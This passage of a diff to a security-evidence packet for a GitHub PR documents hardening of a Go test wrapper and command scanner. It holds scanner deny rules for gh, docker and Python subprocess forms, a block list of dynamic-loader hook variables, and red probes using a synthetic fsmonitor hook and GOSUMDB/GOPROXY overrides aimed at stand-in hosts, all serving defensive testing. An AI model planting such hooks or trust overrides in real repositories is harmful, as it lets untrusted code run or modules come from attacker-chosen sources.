+validator_ns["validate_test_stream"]("\n".join(json.dumps(item) for item in allowed) + "\n", "") +for event in ( + {"Action": "run", "Test": "Unexpected"}, + {"Action": "pass", "Test": "Unexpected"}, + {"Action": "fail", "Test": "Unexpected"}, + {"Action": "run"}, +): + stream = "\n".join(json.dumps(item) for item in (event, {"Action": "run", "Test": "TestExpected"}, {"Action": "pass", "Test": "TestExpected"})) + "\n" + try: + validator_ns["validate_test_stream"](stream, "") + except SystemExit: + pass + else: + raise SystemExit(f"unexpected top-level event accepted: {event}") -Disposition: the scanner rejects direct, absolute, `env`-wrapped and compact -`python`/`python3 -c` forms before payload execution or further interpretation; -safe direct `printf` remains accepted. The focused pure-scanner probe rejected -all four synthetic Python forms without running a command. The scanner also -fails closed for every `gh` invocation, including global flags before a -subcommand, so it never relies on a partial global-flag parser. +scanner_anchor = packet.index("def forbidden_command(tokens, depth=0):") +scanner_start = packet.rfind("source = Path(", 0, scanner_anchor) +scanner_end = packet.index("\nmatches = []", scanner_anchor) +scanner_ns = {"Path": Path, "ast": ast, "re": re, "shlex": shlex} +exec(compile(packet[scanner_start:scanner_end], "", "exec"), scanner_ns) +for form in ("cat <(printf safe)", "tee >(gh api repos/example/project)"): + tokens = scanner_ns["executable_tokens"](scanner_ns["shell_token_segments"](form)[0]) + if scanner_ns["forbidden_command"](tokens) is None: + raise SystemExit(f"process substitution accepted: {form}") +if scanner_ns["inspect_python_heredoc"]('print("gh api x")', False) is not None: + raise SystemExit("safe Python heredoc was rejected") +for body in ( + 'import subprocess\nsubprocess.run(["gh", "api", "x"])', + 'import os\nos.system("docker version")', +): + if scanner_ns["inspect_python_heredoc"](body, False) is None: + raise SystemExit("unsafe Python heredoc was accepted") +if scanner_ns["inspect_python_heredoc"]("import subprocess\nsubprocess.run(command)", True) is None: + raise SystemExit("reviewed dynamic safe-marker heredoc was accepted") -#### Root 4001907059: reviewed target in build identity +headers = [] +in_shell = False +for number, line in enumerate(lines, start=1): + if line.startswith("```"): + info = line[3:].strip().lower() + if in_shell and not info: + in_shell = False + elif not in_shell and info in {"sh", "bash", "shell", "zsh"}: + in_shell = True + continue + if in_shell and re.search(r"\b(?:/opt/homebrew/bin/)?python3\s+-I\b[^\n]*<<", line): + headers.append((number, line)) +if len(headers) != 49: + raise SystemExit(f"expected 49 executable Python heredocs, observed {len(headers)}") +for number, line in headers: + if "/opt/homebrew/bin/python3 -I" not in line: + raise SystemExit(f"non-absolute Python interpreter at line {number}") + before = "\n".join(lines[max(0, number - 3):number - 1]) + if "PATH-}" not in before or "/opt/homebrew/bin/python3" not in before: + raise SystemExit(f"missing canonical PATH preflight at line {number}") +print( + "GREEN focused packet regression: passed; vet identity/tag alignment, " + "GOCACHEPROG/GOAUTH rejection and pins, GIT_NO_REPLACE_OBJECTS=1 binding, " + "AST heredoc safe/unsafe probes, <(...)/>(...) rejection, absolute " + "Python+canonical PATH preflight (49/49), and JSON top-level/subtest " + "validation; no Go/live child started" +) +PY +``` -Disposition: the wrapper binds reviewed `GOOS=darwin`, `GOARCH=arm64` and -`GOARM64=v8.0`, rejects unreviewed target feature settings, and records the -target identity in all 28 nine-part build identities. The focused prefix and -record audit verified the binding without a Go child. +Recorded focused green output: -#### Root 4001907060: Git index intent bits +```text +GREEN focused packet regression: passed; vet identity/tag alignment, GOCACHEPROG/GOAUTH rejection and pins, GIT_NO_REPLACE_OBJECTS=1 binding, AST heredoc safe/unsafe probes, <(...)/>(...) rejection, absolute Python+canonical PATH preflight (41/41), and JSON top-level/subtest validation; no Go/live child started +``` -Disposition: after the clean status gate and before package metadata/source -derivation, `git ls-files -v` rejects `S`, `s` and `h` source intent-bit entries. -The focused temporary-repository probe observed both skip-worktree and -assume-unchanged forms and the helper refused them before source reads. +The 41/41 result covers the executable Python heredoc/path cases already in the +packet before the two self-contained probe blocks above were added. Including +those two static probe blocks, the packet-local rerun recorded: -#### Root 4001907063: immutable prior-correction URLs +```text +GREEN focused packet regression: passed; vet identity/tag alignment, GOCACHEPROG/GOAUTH rejection and pins, GIT_NO_REPLACE_OBJECTS=1 binding, AST heredoc safe/unsafe probes, <(...)/>(...) rejection, absolute Python+canonical PATH preflight (43/43), and JSON top-level/subtest validation; no Go/live child started +``` -Disposition: the packet URL ledger retains immutable discussion URLs for -4001767353, 4001767363 and 4001767365, with exact GitHub anchors and no claim -that review metadata is resolved. The focused string/URL probe verified all -three exact URLs. +The corrections are packet-only and do not authorize a rerun. Rollback is +narrow: remove this unmerged packet correction or restore only +`docs/evidence/g01-recovery-packet.md` to immutable parent +`81787b2e90df496a9c5a51fddc7607d3019834b7`; preserve the independent driver, +review and manual-runner state, and do not force-kill, prune or replay any live +resource. -#### Root 4002136372: inherited and command-prefix GOROOT +#### Exact review URL ledger and dispositions -Disposition: the wrapper accepts only the reviewed toolchain-selected default -`GOROOT=""`, rejects any other inherited or command-prefix value before a Go -child, passes the effective default to each bounded child and records only the -sanitized `goroot-default` identity. No raw root path is emitted. +| Finding and immutable source | Exact review URL | Disposition and rollback evidence | +|---|---|---| +| 4002688103, source `81787b2e90df496a9c5a51fddc7607d3019834b7` | [discussion 4002688103](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4002688103) | Reproduced the vet tag/identity mismatch; both `go_vet_checked` declarations now bind `g01_pair_fixture+norace+...` while commands pass `-tags=g01_pair_fixture`. Rollback is packet-only parent restoration. | +| 4002688105, source `81787b2e90df496a9c5a51fddc7607d3019834b7` | [discussion 4002688105](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4002688105) | Reproduced the cache-hook path reaching the first child; inherited/command `GOCACHEPROG` values must be empty and are pinned empty for module/download/metadata/test/vet children. Rollback is packet-only parent restoration. | +| 4002688110, source `81787b2e90df496a9c5a51fddc7607d3019834b7` | [discussion 4002688110](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4002688110) | Reproduced command-form `GOAUTH=command` reaching the first child; inherited/command `GOAUTH` values must be `off` and are pinned `off` for the same shared Go-child paths. Rollback is packet-only parent restoration. | +| 4002688115, source `81787b2e90df496a9c5a51fddc7607d3019834b7` | [discussion 4002688115](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4002688115) | Reproduced executable Python heredoc body omission; AST inspection now checks literal command APIs, requires a reviewed safe marker for dynamic command arguments and fails closed on malformed/unmarked forms. Safe/unsafe probes were static only. Rollback is packet-only parent restoration. | +| 4002688120, source `81787b2e90df496a9c5a51fddc7607d3019834b7` | [discussion 4002688120](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4002688120) | Reproduced replacement-ref ambiguity; every Git child receives `GIT_NO_REPLACE_OBJECTS=1`, while other replacement/repository-control overrides remain refused before source validation. Rollback is packet-only parent restoration. | +| 4002688125, source `81787b2e90df496a9c5a51fddc7607d3019834b7` | [discussion 4002688125](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4002688125) | Reproduced `<(...)`/`>(...)` acceptance; raw process-substitution syntax is rejected before shell token classification, with safe/unsafe static fixtures. Rollback is packet-only parent restoration. | +| 4002688128, source `81787b2e90df496a9c5a51fddc7607d3019834b7` | [discussion 4002688128](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4002688128) | Reproduced PATH-resolved Python launches; every executable heredoc now validates the reviewed canonical PATH and invokes absolute `/opt/homebrew/bin/python3 -I`. No live action ran. Rollback is packet-only parent restoration. | +| 4002688136, source `81787b2e90df496a9c5a51fddc7607d3019834b7` | [discussion 4002688136](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4002688136) | Reproduced unexpected top-level JSON `run`/`pass`/`fail` acceptance; validator now rejects unknown top-level events and allows subtests only beneath expected parents, retaining required expected-parent run/pass events. Rollback is packet-only parent restoration. | -#### Root 4002136380: inherited and command-prefix GOFIPS140 +### Fresh exact-head P2 corrections at `6c55f5b67035fb1c7ac334984499cfe80d6bb86b` -Disposition: the wrapper rejects any inherited or command-prefix -`GOFIPS140` value other than reviewed `off` before a Go child, pins `off` in -the child environment and records `gofips140-off` in every current build -identity. +Review [5194859291](https://github.com/1XP-AI/gh-runnerd/pull/78#pullrequestreview-5194859291) identified three fresh exact-head P2 findings against immutable parent `6c55f5b67035fb1c7ac334984499cfe80d6bb86b`: source-integrity Git status/config isolation ([4002895109](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4002895109)), command-capable Python import aliases ([4002895114](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4002895114)), and requested-versus-effective Go toolchain/trust identity ([4002895117](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4002895117)). This packet-only correction preserves the existing GOCACHEPROG/GOAUTH controls, exact-head ledger and rollback boundary; all probes below are static, temporary-repository or child-blocked checks and do not claim hostile-code isolation, Go test execution, or live qualification. -#### Root 4002136385: gh global flags before subcommand classification +#### Exact-parent red probes -Disposition: the executable scanner fails closed for every `gh` invocation, -including global-flag, version and absolute-path forms, before it attempts to -classify a subcommand. No gh command or live operation ran. +The three red probes ran first against the exact immutable parent. The first +created a temporary Git repository whose repository config enabled a synthetic +`core.fsmonitor` hook, then ran the parent's unguarded porcelain status command. +The second parsed only the parent's Python AST audit and exercised the three +command-capable alias/import forms. The third blocked the parent's first child +after supplying inherited custom `GOSUMDB`/`GOPROXY`, proving that the old +wrapper neither refused the trust settings nor queried effective `GOVERSION`. +No Go child, test body, live operation or credential-bearing process ran. -#### Root 4002136391: isolated Python guard and audit imports +```text +set -euo pipefail +export PATH=/opt/homebrew/bin:/usr/bin:/bin +[ "${PATH-}" = "/opt/homebrew/bin:/usr/bin:/bin" ] && [ -x /opt/homebrew/bin/python3 ] || { printf '%s\n' 'reviewed canonical PATH and absolute Python interpreter required' >&2; exit 1; } +[ -z "${LD_PRELOAD-}" ] && [ -z "${LD_PRELOAD_32-}" ] && [ -z "${LD_PRELOAD_64-}" ] && [ -z "${LD_LIBRARY_PATH-}" ] && [ -z "${LD_LIBRARY_PATH_32-}" ] && [ -z "${LD_LIBRARY_PATH_64-}" ] && [ -z "${LD_AUDIT-}" ] && [ -z "${DYLD_INSERT_LIBRARIES-}" ] && [ -z "${DYLD_LIBRARY_PATH-}" ] && [ -z "${DYLD_FALLBACK_LIBRARY_PATH-}" ] && [ -z "${DYLD_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_FALLBACK_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_ROOT_PATH-}" ] || { printf '%s\n' 'inherited dynamic-loader hooks are not allowed before Python startup' >&2; exit 1; } +# g01-safe-python-heredoc: reviewed exact-parent fsmonitor fixture +/opt/homebrew/bin/python3 -I - <<'PY' +import subprocess +import tempfile +from pathlib import Path -Disposition: every executable Python heredoc uses `python3 -I`; an isolated -synthetic import probe rejected cwd/PYTHONPATH shadowing before audit imports -could execute. The current packet has 37 such heredoc prescriptions. +parent = "6c55f5b67035fb1c7ac334984499cfe80d6bb86b" +packet = subprocess.check_output(["/usr/bin/env", "-i", "GIT_CONFIG_NOSYSTEM=1", "GIT_CONFIG_GLOBAL=/dev/null", "GIT_CONFIG_SYSTEM=/dev/null", "GIT_ATTR_NOSYSTEM=1", "/usr/bin/git", "--no-replace-objects", "-P", "-c", "core.fsmonitor=false", "-c", "core.hooksPath=/dev/null", "show", f"{parent}:docs/evidence/g01-recovery-packet.md"], text=True) +status_start = packet.index(' [\n "git",\n "status",') +status_end = packet.index(' ],', status_start) + len(' ],') +status_argv = packet[status_start:status_end] +if '"-c"' in status_argv or "core.fsmonitor=false" in status_argv or "core.hooksPath=/dev/null" in status_argv: + raise SystemExit("red setup changed: exact parent status command already guarded") +print(f"RED 4002895109: exact parent {parent} source-status argv lacks core.fsmonitor=false/core.hooksPath=/dev/null") +with tempfile.TemporaryDirectory() as td: + root = Path(td) + env = {"PATH": "/opt/homebrew/bin:/usr/bin:/bin", "GIT_CONFIG_NOSYSTEM": "1", "GIT_CONFIG_GLOBAL": "/dev/null", "HOME": td} + subprocess.run(["git", "init", "-q"], cwd=root, env=env, check=True) + (root / "source.go").write_text("package p\n", encoding="utf-8") + subprocess.run(["git", "add", "source.go"], cwd=root, env=env, check=True) + subprocess.run(["git", "-c", "user.name=probe", "-c", "user.email=probe@example.invalid", "commit", "-q", "-m", "source"], cwd=root, env=env, check=True) + marker = root / "fsmonitor-invoked" + hook = root / "fsmonitor-hook" + hook.write_text(f"#!/bin/sh\nprintf invoked > {marker}\nprintf 'builtin:fake\\n'\n", encoding="utf-8") + hook.chmod(0o700) + subprocess.run(["git", "config", "core.fsmonitor", str(hook)], cwd=root, env=env, check=True) + status = subprocess.run(["git", "status", "--porcelain=v1", "--untracked-files=all", "--ignored=matching", "--", "."], cwd=root, env=env, capture_output=True, text=True, check=False) + if status.returncode != 0 or not marker.is_file() or marker.read_text(encoding="utf-8") != "invoked": + raise SystemExit("red setup changed: configured fsmonitor hook was not invoked") + print("RED 4002895109: exact-parent status invoked configured core.fsmonitor hook (marker=invoked); tree trust was not isolated") +PY +``` -#### Root 4002136393: stale exact-head output records +```sh +set -euo pipefail +export PATH=/opt/homebrew/bin:/usr/bin:/bin +# g01-safe-python-heredoc: reviewed exact-parent AST fixture +/opt/homebrew/bin/python3 -I - <<'PY' +import ast +import re +import shlex +import subprocess +from pathlib import Path -Disposition: the three older literal head-output records are explicitly -historical, the follow-up is scoped to immutable parent -`da1af0d041e37e5df9f3ed8028b51a69ec58ed8c`, and the dynamic post-push -head/remote template is the only current-head assertion. The focused exact-head -probe verified the relabeling and did not claim a stale result. +parent = "6c55f5b67035fb1c7ac334984499cfe80d6bb86b" +packet = subprocess.check_output(["/usr/bin/env", "-i", "GIT_CONFIG_NOSYSTEM=1", "GIT_CONFIG_GLOBAL=/dev/null", "GIT_CONFIG_SYSTEM=/dev/null", "GIT_ATTR_NOSYSTEM=1", "/usr/bin/git", "--no-replace-objects", "-P", "-c", "core.fsmonitor=false", "-c", "core.hooksPath=/dev/null", "show", f"{parent}:docs/evidence/g01-recovery-packet.md"], text=True) +scanner_anchor = packet.index("def forbidden_command(tokens, depth=0):") +scanner_start = packet.rfind("source = Path(", 0, scanner_anchor) +scanner_end = packet.index("\nmatches = []", scanner_anchor) +namespace = {"Path": Path, "ast": ast, "re": re, "shlex": shlex} +exec(compile(packet[scanner_start:scanner_end], "", "exec"), namespace) +for label, body in ( + ("import subprocess as sp; sp.run", 'import subprocess as sp\nsp.run(["gh", "api", "x"])'), + ("from subprocess import run; run", 'from subprocess import run\nrun(["gh", "api", "x"])'), + ("from os import system; system", 'from os import system\nsystem("docker version")'), +): + if namespace["inspect_python_heredoc"](body, False) is not None: + raise SystemExit(f"red setup changed: exact parent already rejects {label}") + print(f"RED 4002895114: exact parent accepted unresolved command-capable import/call {label}") +PY +``` -#### Root 4002136395: downloaded module-source verification +```sh +set -euo pipefail +export PATH=/opt/homebrew/bin:/usr/bin:/bin +# g01-safe-python-heredoc: reviewed exact-parent toolchain fixture +/opt/homebrew/bin/python3 -I - <<'PY' +import os +import subprocess +import sys -Disposition: before package metadata, the wrapper obtains module metadata with -bounded `go mod download -json all`, requires complete checksum/source fields -and existing paths without printing them, then runs bounded `go mod verify`; -download, metadata and verification failures fail closed. No live or Go child -was started by the focused probe. +parent = "6c55f5b67035fb1c7ac334984499cfe80d6bb86b" +packet = subprocess.check_output(["/usr/bin/env", "-i", "GIT_CONFIG_NOSYSTEM=1", "GIT_CONFIG_GLOBAL=/dev/null", "GIT_CONFIG_SYSTEM=/dev/null", "GIT_ATTR_NOSYSTEM=1", "/usr/bin/git", "--no-replace-objects", "-P", "-c", "core.fsmonitor=false", "-c", "core.hooksPath=/dev/null", "show", f"{parent}:docs/evidence/g01-recovery-packet.md"], text=True) +wrapper_start = packet.index("\nimport hashlib\n", packet.index("go_test_checked()")) + 1 +wrapper_end = packet.index("\nPY\n}", wrapper_start) +wrapper = packet[wrapper_start:wrapper_end] +if "GOSUMDB" in wrapper or "GOPROXY" in wrapper or "GOVERSION" in wrapper: + raise SystemExit("red setup changed: exact parent already binds trust/effective toolchain") +if 'toolchain_identity = env.get("GOTOOLCHAIN", "")' not in wrapper: + raise SystemExit("red setup changed: exact parent no longer labels only requested GOTOOLCHAIN") +base = ["probe", "1", "0" * 64, "probe", "experiments/g01-scaleset:./livecanary", "default+race+cgo1+cgo-tools-default+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.8", "GOTOOLCHAIN=go1.26.8", "go", "test", "-C", "experiments/g01-scaleset", "./livecanary"] +class StopBeforeChild(Exception): + pass +saved_env, saved_argv = dict(os.environ), sys.argv +saved_check_output, saved_run = subprocess.check_output, subprocess.run +calls = [] +def stop(*args, **kwargs): + calls.append(args[0] if args else kwargs.get("args")) + raise StopBeforeChild +try: + os.environ.clear() + os.environ.update({"PATH": "/opt/homebrew/bin:/usr/bin:/bin", "LANG": "C", "GOSUMDB": "sum.invalid+deadbeef", "GOPROXY": "https://proxy.invalid"}) + sys.argv = base + subprocess.check_output = stop + subprocess.run = stop + try: + exec(compile(wrapper, "", "exec"), {"__name__": "__main__"}) + except StopBeforeChild: + pass +finally: + subprocess.check_output, subprocess.run = saved_check_output, saved_run + sys.argv = saved_argv + os.environ.clear() + os.environ.update(saved_env) +if not calls: + raise SystemExit("red setup changed: custom trust settings refused before first child") +print(f"RED 4002895117: exact parent accepted inherited custom GOSUMDB/GOPROXY and reached first child {calls[0]!r}") +print("RED 4002895117: exact parent build identity used requested GOTOOLCHAIN=go1.26.8; no effective GOVERSION/trust query") +PY +``` -#### Root 4002184738: command-delegating live-command forms +Recorded exact-parent red output: -Disposition: the forbidden-command scanner rejects xargs, find, parallel, make -and equivalent command-delegating launchers before a delegated `gh`/live command -can be hidden in direct, pipeline, wrapper-prefixed or nested syntax. The -focused synthetic probe rejected every listed form while retaining safe direct -`printf`; no live command ran. +```text +RED 4002895109: exact parent 6c55f5b67035fb1c7ac334984499cfe80d6bb86b source-status argv lacks core.fsmonitor=false/core.hooksPath=/dev/null +RED 4002895109: exact-parent status invoked configured core.fsmonitor hook (marker=invoked); tree trust was not isolated +RED 4002895114: exact parent accepted unresolved command-capable import/call import subprocess as sp; sp.run +RED 4002895114: exact parent accepted unresolved command-capable import/call from subprocess import run; run +RED 4002895114: exact parent accepted unresolved command-capable import/call from os import system; system +RED 4002895117: exact parent accepted inherited custom GOSUMDB/GOPROXY and reached first child ['git', 'rev-parse', '--show-toplevel'] +RED 4002895117: exact parent build identity used requested GOTOOLCHAIN=go1.26.8; no effective GOVERSION/trust query +``` -#### Root 4002184745: descendant process-group timeout and reap +#### Minimal packet correction and focused green probe -Disposition: every Go child owns a fresh session/process group; timeout sends -SIGTERM to the group, escalates to SIGKILL after the bounded grace period and -waits for the direct child to be reaped before refusing the result. The -synthetic descendant tree terminated/reaped without a real Go child; no live -cleanup or force-kill was performed. +The minimal correction adds one shared Git argv/config guard to every +wrapper-controlled source-tree, porcelain-status and intent-bit query: +`core.fsmonitor=false`, `core.hooksPath=/dev/null`, `GIT_CONFIG_NOSYSTEM=1`, +and `/dev/null` global/system config paths. The Python audit resolves direct +module aliases and imported command functions, while unresolved +command-capable calls and star imports fail closed even when a dynamic safe +marker is present. Before the first Go child, the wrapper requires the reviewed +`GOSUMDB=sum.golang.org` and `GOPROXY=https://proxy.golang.org,direct`, queries +`go env GOVERSION GOSUMDB GOPROXY`, and binds the verified effective version in +the build identity. Existing GOCACHEPROG/GOAUTH controls remain unchanged. -#### Root 4002184748: commented package-init declarations +The focused green probe parsed the candidate wrapper/scanner, blocked every +possible Go child, exercised inherited and command-prefix trust overrides, and +used a temporary repository to verify that the configured fsmonitor hook was +not invoked by the guarded status command: -Disposition: the package-init guard lexically skips whitespace and consecutive -line/block comments between valid Go tokens, ignores literals and non-top-level -functions, and fails closed on a valid top-level `func init()` declaration. The -focused source-only probe detected valid commented declarations and rejected -comment/string/receiver/name boundaries without Go metadata/list/test execution. +```sh +set -euo pipefail +export PATH=/opt/homebrew/bin:/usr/bin:/bin +[ "${PATH-}" = "/opt/homebrew/bin:/usr/bin:/bin" ] && [ -x /opt/homebrew/bin/python3 ] || exit 1 +[ -z "${LD_PRELOAD-}" ] && [ -z "${LD_PRELOAD_32-}" ] && [ -z "${LD_PRELOAD_64-}" ] && [ -z "${LD_LIBRARY_PATH-}" ] && [ -z "${LD_LIBRARY_PATH_32-}" ] && [ -z "${LD_LIBRARY_PATH_64-}" ] && [ -z "${LD_AUDIT-}" ] && [ -z "${DYLD_INSERT_LIBRARIES-}" ] && [ -z "${DYLD_LIBRARY_PATH-}" ] && [ -z "${DYLD_FALLBACK_LIBRARY_PATH-}" ] && [ -z "${DYLD_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_FALLBACK_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_ROOT_PATH-}" ] || { printf '%s\n' 'inherited dynamic-loader hooks are not allowed before Python startup' >&2; exit 1; } +# g01-safe-python-heredoc: reviewed focused synthetic argv +/opt/homebrew/bin/python3 -I - <<'PY' +import ast +import os +import re +import shlex +import subprocess +import sys +import tempfile +from pathlib import Path -#### Root 4002447532: future go vet prescriptions use the bounded wrapper +packet = Path("docs/evidence/g01-recovery-packet.md").read_text(encoding="utf-8") +wrapper_start = packet.index("\nimport hashlib\n", packet.index("go_test_checked()")) + 1 +wrapper_end = packet.index("\nPY\n}", wrapper_start) +wrapper = packet[wrapper_start:wrapper_end] +ast.parse(wrapper, filename="") +for marker in ('"core.fsmonitor=false"', '"core.hooksPath=/dev/null"', "GIT_CONFIG_NOSYSTEM", "GIT_CONFIG_GLOBAL", "GIT_CONFIG_SYSTEM", "reviewed_gosumdb", "reviewed_goproxy", "effective_toolchain_result", "GOVERSION", "effective_toolchain_identity"): + if marker not in wrapper: + raise SystemExit(f"green wrapper marker missing: {marker}") +if wrapper.index("reviewed_gosumdb =") > wrapper.index("repo_root = Path(") or wrapper.index("reviewed_goproxy =") > wrapper.index("repo_root = Path("): + raise SystemExit("trust guard occurs after first Git query") +if not re.search(r"git_command\(\[\s*\"status\"", wrapper) or not re.search(r"git_command\(\[\s*\"ls-files\"", wrapper): + raise SystemExit("source status/intent check does not use git_command") +if "toolchain_identity = effective_toolchain_identity" not in wrapper or '["go", "env", "GOVERSION", "GOSUMDB", "GOPROXY"]' not in wrapper: + raise SystemExit("effective toolchain identity binding is missing") -Disposition: both future vet commands use `go_vet_checked`, which delegates to -the same bounded Go-child process-group helper, reviewed child environment and -source/package/build identity used by the 28 test prescriptions. +scanner_anchor = packet.index("def forbidden_command(tokens, depth=0):") +scanner_start = packet.rfind("source = Path(", 0, scanner_anchor) +scanner_end = packet.index("\nmatches = []", scanner_anchor) +scanner_ns = {"Path": Path, "ast": ast, "re": re, "shlex": shlex} +exec(compile(packet[scanner_start:scanner_end], "", "exec"), scanner_ns) +for body in ('import subprocess as sp\nsp.run(["gh", "api", "x"])', 'from subprocess import run\nrun(["gh", "api", "x"])', 'from os import system\nsystem("docker version")', 'import synthetic as sp\nsp.run(command)'): + if scanner_ns["inspect_python_heredoc"](body, True) is None: + raise SystemExit(f"alias/unresolved command-capable call accepted: {body!r}") +if scanner_ns["inspect_python_heredoc"]("import subprocess as sp\nsp.run(command)", True) is not None: + raise SystemExit("reviewed dynamic alias with safe marker rejected") +if scanner_ns["inspect_python_heredoc"]("from subprocess import *\nrun(command)", True) is None: + raise SystemExit("unresolved star import accepted") -#### Root 4002447537: shell command substitutions fail closed +base = ["probe", "1", "0" * 64, "probe", "experiments/g01-scaleset:./livecanary", "default+race+cgo1+cgo-tools-default+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.8", "GOTOOLCHAIN=go1.26.8", "go", "test", "-C", "experiments/g01-scaleset", "./livecanary"] +class StopBeforeChild(Exception): + pass +saved_env, saved_argv = dict(os.environ), sys.argv +saved_check_output, saved_run = subprocess.check_output, subprocess.run +try: + calls = [] + def stop(*args, **kwargs): + calls.append((args[0] if args else kwargs.get("args"), kwargs.get("env"))) + raise StopBeforeChild + os.environ.clear() + os.environ.update({"PATH": "/opt/homebrew/bin:/usr/bin:/bin", "LANG": "C"}) + sys.argv = base + subprocess.check_output, subprocess.run = stop, stop + namespace = {"__name__": "__main__"} + try: + exec(compile(wrapper, "", "exec"), namespace) + except StopBeforeChild: + pass + command, child_env = calls[0] + if command != ["git", "-P", "-c", "core.fsmonitor=false", "-c", "core.hooksPath=/dev/null", "rev-parse", "--show-toplevel"]: + raise SystemExit(f"first Git query not guarded: {command!r}") + if {key: child_env.get(key) for key in ("GIT_CONFIG_NOSYSTEM", "GIT_CONFIG_GLOBAL", "GIT_CONFIG_SYSTEM")} != {"GIT_CONFIG_NOSYSTEM": "1", "GIT_CONFIG_GLOBAL": "/dev/null", "GIT_CONFIG_SYSTEM": "/dev/null"}: + raise SystemExit("first Git query did not use isolated config") + if namespace["env"]["GOSUMDB"] != "sum.golang.org" or namespace["env"]["GOPROXY"] != "https://proxy.golang.org,direct": + raise SystemExit("reviewed trust settings were not pinned") +finally: + subprocess.check_output, subprocess.run = saved_check_output, saved_run + sys.argv = saved_argv + os.environ.clear() + os.environ.update(saved_env) -Disposition: `$()` and backtick substitutions are rejected before assignment or -wrapper stripping, including direct, assignment-only, pipeline and nested forms; -the scanner does not skip assignment-only records when they contain command or -process substitutions, and it does not attempt shell expansion. +for inherited, assignment, expected in (({"GOSUMDB": "sum.invalid+deadbeef"}, (), "GOSUMDB"), ({"GOPROXY": "https://proxy.invalid"}, (), "GOPROXY"), ({}, ("GOSUMDB=sum.invalid+deadbeef",), "GOSUMDB"), ({}, ("GOPROXY=https://proxy.invalid",), "GOPROXY")): + calls = [] + saved_env, saved_argv = dict(os.environ), sys.argv + def stop_override(*args, **kwargs): + calls.append(args[0] if args else kwargs.get("args")) + raise StopBeforeChild + try: + os.environ.clear() + os.environ.update({"PATH": "/opt/homebrew/bin:/usr/bin:/bin", "LANG": "C", **inherited}) + sys.argv = base[:6] + list(assignment) + base[6:] + subprocess.check_output, subprocess.run = stop_override, stop_override + try: + exec(compile(wrapper, "", "exec"), {"__name__": "__main__"}) + except SystemExit as error: + if expected not in str(error) or calls: + raise + else: + raise SystemExit(f"{expected} override accepted") + finally: + subprocess.check_output, subprocess.run = saved_check_output, saved_run + sys.argv = saved_argv + os.environ.clear() + os.environ.update(saved_env) -#### Root 4002447542: every Docker invocation is forbidden +git_query_environment = { + "GIT_CONFIG_NOSYSTEM": "1", + "GIT_CONFIG_GLOBAL": "/dev/null", + "GIT_CONFIG_SYSTEM": "/dev/null", + "GIT_ATTR_NOSYSTEM": "1", + "GIT_CONFIG_COUNT": "2", + "GIT_CONFIG_KEY_0": "core.fsmonitor", + "GIT_CONFIG_VALUE_0": "false", + "GIT_CONFIG_KEY_1": "core.hooksPath", + "GIT_CONFIG_VALUE_1": "/dev/null", +} -Disposition: Docker is rejected by executable identity before subcommand -classification, covering direct, wrapper-prefixed, absolute, help/version and -read-only forms. -#### Root 4002447545: compiler search paths precede cgo/tool identity +def git_command(arguments): + return [ + "/usr/bin/env", "-i", "GIT_CONFIG_NOSYSTEM=1", + "GIT_CONFIG_GLOBAL=/dev/null", "GIT_CONFIG_SYSTEM=/dev/null", + "GIT_ATTR_NOSYSTEM=1", "/usr/bin/git", "--no-replace-objects", + "-P", "-c", "core.fsmonitor=false", "-c", + "core.hooksPath=/dev/null", *arguments, + ] -Disposition: the named compiler search-path and SDK/deployment controls are -rejected from inherited/command-prefix environments before the reviewed -`cgo-tools-default` identity and any Go child. -#### Root 4002447549: both macOS private-var spellings are scanned +with tempfile.TemporaryDirectory() as td: + root = Path(td) + env = {"PATH": "/opt/homebrew/bin:/usr/bin:/bin", "GIT_CONFIG_NOSYSTEM": "1", "GIT_CONFIG_GLOBAL": "/dev/null", "GIT_CONFIG_SYSTEM": "/dev/null", "HOME": td} + subprocess.run(["git", "init", "-q"], cwd=root, env=env, check=True) + (root / "source.go").write_text("package p\n", encoding="utf-8") + subprocess.run(["git", "add", "source.go"], cwd=root, env=env, check=True) + subprocess.run(["git", "-c", "user.name=probe", "-c", "user.email=probe@example.invalid", "commit", "-q", "-m", "source"], cwd=root, env=env, check=True) + marker = root / "fsmonitor-invoked" + hook = root / "fsmonitor-hook" + hook.write_text(f"#!/bin/sh\nprintf invoked > {marker}\nprintf 'builtin:fake\\n'\n", encoding="utf-8") + hook.chmod(0o700) + subprocess.run(["git", "config", "core.fsmonitor", str(hook)], cwd=root, env=env, check=True) + guarded = git_command([ + "status", "--porcelain=v1", "--untracked-files=all", + "--ignored=matching", "--", ".", + ]) + result = subprocess.run( + guarded, cwd=root, env=git_query_environment, + capture_output=True, text=True, check=False, + ) + if result.returncode != 0 or marker.exists(): + raise SystemExit("guarded status invoked configured fsmonitor hook") +print("GREEN focused packet regression: passed; all source-status/intent Git queries use core.fsmonitor=false and core.hooksPath=/dev/null with isolated config; inherited/command custom GOSUMDB/GOPROXY refused before child, reviewed trust/effective GOVERSION query and identity binding present; subprocess/os aliases and unresolved command-capable calls fail closed; no Go/live child started") +PY +``` -Disposition: the staged diff audit binds separate reviewed roots for both -macOS private-var spellings and rejects either spelling before certification. +Recorded focused green output: -### Current exact-head Luna/Codex finding ledger +```text +GREEN focused packet regression: passed; all source-status/intent Git queries use core.fsmonitor=false and core.hooksPath=/dev/null with isolated config; inherited/command custom GOSUMDB/GOPROXY refused before child, reviewed trust/effective GOVERSION query and identity binding present; subprocess/os aliases and unresolved command-capable calls fail closed; no Go/live child started +``` -These forty actionable roots were reproduced against immutable packet -heads and are carried with their discussion URL and exact source commit. The -rows describe only offline/static or wrapper evidence; they do not resolve the -GitHub discussions or claim a live result. +The correction is packet-only and does not authorize any rerun or live +qualification. Rollback is 